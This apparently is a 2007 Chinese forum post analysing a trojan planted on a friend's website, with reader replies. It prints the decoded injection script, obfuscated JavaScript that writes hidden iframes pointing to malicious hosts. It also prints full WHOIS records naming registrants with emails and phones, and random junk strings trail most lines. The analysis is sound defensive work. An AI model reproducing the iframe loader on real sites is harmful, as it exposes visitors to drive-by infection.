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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, {PU!=IkTS  
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http://www.areway.cn/?p=175 7R.Q Ql  
3\O|ii  
h Ov={:  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: PC$CYW5  
          !`JHH&  
<script>t=’60,105,102,114,97,109,101, 4LcX<B U9  
32,115,114,99,61,104,116,116,112,58,47,47, 9I7\D8r  
102,114,101,101,46,117,45,117,117,117,46,99, }GMbBZ:nKK  
110,47,101,114,114,111,114,46,104,116,109, ^jB8Q  
32,119,105,100,116,104,61,49,48,48,32,104, RrZM&lXY  
101,105,103,104,116,61,48,62,60,47,105,102, }kHdK vZ  
114,97,109,101,62′; *.-.iY.a]  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> 1F8 W9b^D  
                                                                                                  f"u *D,/sS  
<script>t=’60,105,102,114,97,109,101,32,115, <:>SGSE9  
114,99,61,104,116,116,112,58,47,47,102,114, &GTI  
101,101,46,117,45,117,117,117,46,99,110,47, 3f Xv4R;!:  
101,114,114,111,114,46,104,116,109,32,119, \`V$ 'B{.  
105,100,116,104,61,49,48,48,32,104,101,105, '7Nr8D4L  
103,104,116,61,48,62,60,47,105,102,114,97, Cb t{ H}I3  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); ]M>9ULQ  
document.write(t);</script> F7L&=K$2y  
                                                                                                  1LJuCI=~  
<html xmlns=” gJiK+&8I  
http://www.w3.org/1999/xhtml -$VZte x  
“> dC e4u<so\  
<head> 5<pftTcZ  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> kv,%(en]  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> hVT~~n`Rj  
<title>首页 - 爱生活家庭网 Jb)#fH$L  
                                                                                                                                                    V3;.{0k  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 ]?1Y e8>Y<  
转换字符串后的大概内容是(谁点击后果自付): SnlyUP~P  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… Pz#7h*;cw.  
                                                                                                                                  G|w=ez  
查询玉米u-uuu.cn的详细信息: , ^F)L|  
Domain Name: u-uuu.cn GDhE[of  
ROID: 20070901s10001s64972306-cn 4D%9Rc0 G  
Domain Status: ok '3]p29v{  
Registrant Organization: 王雷 g[ 0<m#"  
Registrant Name: 王雷 v0Dq@Q1  
Administrative Email: czlovexs@126.com &c(WE RW?-  
Sponsoring Registrar: 北京万网志成科技有限公司 $mmup|;(  
Name Server:ns.yovole.com >h2%[j=  
Name Server:ns1.yovole.com uJHu>M}~  
Registration Date: 2007-09-01 17:54 v[@c*wo  
Expiration Date: 2008-09-01 17:54 87)zCq  
最后PING了一下地址 都没有什么…. /){KOCBl;  
                                                                                                ,oxcq?7#4  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. iqQUtE]E_  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> GuZ ( &G6*  
<script language=”javascript” src=” 4H5pr  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script jN-vY<?h]  
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这个玉米应该有可能是木马作者的: etT +  
foafau.info的详细信息: ,:fl?x.X  
Access to INFO WHOIS information is provided to assist persons in $&s=68  
determining the contents of a domain name registration record in the Om'+]BBN  
Afilias registry database. The data in this record is provided by 9 3+"D`  
Afilias Limited for informational purposes only, and Afilias does not h)1qp Qj  
guarantee its accuracy.  This service is intended only for query-based c^rOImZ  
access. You agree that you will use this data only for lawful purposes 9=w|)p )  
and that, under no circumstances will you use this data to: (a) allow, +uWDP .  
enable, or otherwise support the transmission by e-mail, telephone, or "'8KV\/D  
facsimile of mass unsolicited, commercial advertising or solicitations .@-9'<K?~  
to entities other than the data recipient’s own existing customers; or ML-)I&>tT  
(b) enable high volume, automated, electronic processes that send |4mpohX  
queries or data to the systems of Registry Operator, a Registrar, or Cz4)Yz  
Afilias except as reasonably necessary to register domain names or `b8v1Os^2  
modify existing registrations. All rights reserved. Afilias reserves (>6*#9#p  
the right to modify these terms at any time. By submitting this query, +x9cT G  
you agree to abide by this policy. {e|*01hE  
Domain ID:D22418703-LRMS  nVu&/  
Domain Name:FOAFAU.INFO SvN9aD1  
Created On:20-Nov-2007 16:05:42 UTC B/5=]R  
Last Updated On:20-Nov-2007 16:05:44 UTC QB:i/9  
Expiration Date:20-Nov-2008 16:05:42 UTC 4k/V BZB  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) E3@QI?n^^  
Status:CLIENT DELETE PROHIBITED {mWui9 %M  
Status:CLIENT RENEW PROHIBITED bWl5(S` Z  
Status:CLIENT TRANSFER PROHIBITED *19ax&|*S  
Status:CLIENT UPDATE PROHIBITED L- pVltX  
Status:TRANSFER PROHIBITED xvzr:p P  
Registrant ID:GODA-040110615 -yGDh+-  
Registrant Name:liu hong ,*4p?|A  
Registrant Organization: {GvTfZfp  
Registrant Street1:beijing V._6=ZJ  
Registrant Street2: "G-1>:   
Registrant Street3: aK,z}l(N  
Registrant City:beijing gH2,\z`[4  
Registrant State/Province: B63pgPX  
Registrant Postal Code:100000 YY?a>j."a  
Registrant Country:CN /&u<TJ4  
Registrant Phone:+86.860108888777 N=:5eAza  
Registrant Phone Ext.: 0JgL2ayIVI  
Registrant FAX: ^mAYBOE  
Registrant FAX Ext.: ]0;864X0  
Registrant Email:bbbshiji@163.com 2j(h+?N7k  
Admin ID:GODA-240110615 fgNU03jp^x  
Admin Name:liu hong K.G$]H  
Admin Organization: =. y*_Ja  
Admin Street1:beijing pA{ 5V9  
Admin Street2: *Nyev]8  
Admin Street3: ^qCkt1C-M  
Admin City:beijing LG~S8u  
Admin State/Province: JKer//ng4  
Admin Postal Code:100000 !R*-R.%  
Admin Country:CN Q^p|Ldj  
Admin Phone:+86.860108888777 h/x0]@M&  
Admin Phone Ext.: $^&ig  
Admin FAX: [Q\GxX.  
Admin FAX Ext.: ?u4INZ0W  
Admin Email:bbbshiji@163.com < Dx]b*H  
Billing ID:GODA-340110615 @ S<-d  
Billing Name:liu hong 8 #ndFpu  
Billing Organization: T!wo2EzE  
Billing Street1:beijing x^"E S%*  
Billing Street2: AtR?J"3E  
Billing Street3: kc/{[ME  
Billing City:beijing i"|$(2  
Billing State/Province: |F.)zC5{  
Billing Postal Code:100000 O62b+%~F  
Billing Country:CN iK?b~Q  
Billing Phone:+86.860108888777 X1 ZgSs+i  
Billing Phone Ext.: A2}Rl%+X]6  
Billing FAX: 7_2kDDW0  
Billing FAX Ext.: ~gz^Cdh  
Billing Email:bbbshiji@163.com j)t+jcMUI  
Tech ID:GODA-140110615 qO`)F8  
Tech Name:liu hong /7!""{1\\  
Tech Organization: 0&ByEN9 9  
Tech Street1:beijing B?$ "\;&  
Tech Street2: j@Yi`a(sdm  
Tech Street3: pZ#ap<|>I  
Tech City:beijing .I}:m%zv  
Tech State/Province: [~:-&  
Tech Postal Code:100000 K[chjp!$l  
Tech Country:CN RE.r4uOJg  
Tech Phone:+86.860108888777 z} '!eCl  
Tech Phone Ext.: 8q`$y$06Dk  
Tech FAX: #_mi `7!B#  
Tech FAX Ext.: %gnM( pxl  
Tech Email:bbbshiji@163.com i&8FBV-  
Name Server:NS27.DOMAINCONTROL.COM 1 nvTce  
Name Server:NS28.DOMAINCONTROL.COM nUq<TJ  
Name Server: p;?*}xa  
Name Server: %+ZJhHT  
Name Server: iJnU%  
Name Server: yT{8d.Rh  
Name Server: iR$<$P5  
Name Server: CIjZG?A  
Name Server: `V[!@b:  
Name Server: s] /tYJYl  
Name Server: bslrqUk_`=  
Name Server: H' T  
Name Server: uS&| "*pR  
                                                                                                          C0=9K@FCb  
接着下载每个文件里面的代码: y}C`&nW[=  
一步一步看.. Q4t(@0e}  
~lEVXea!  
%AF5=  
,wKe fpV;5  
"l={)=R  
va f&X]p  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
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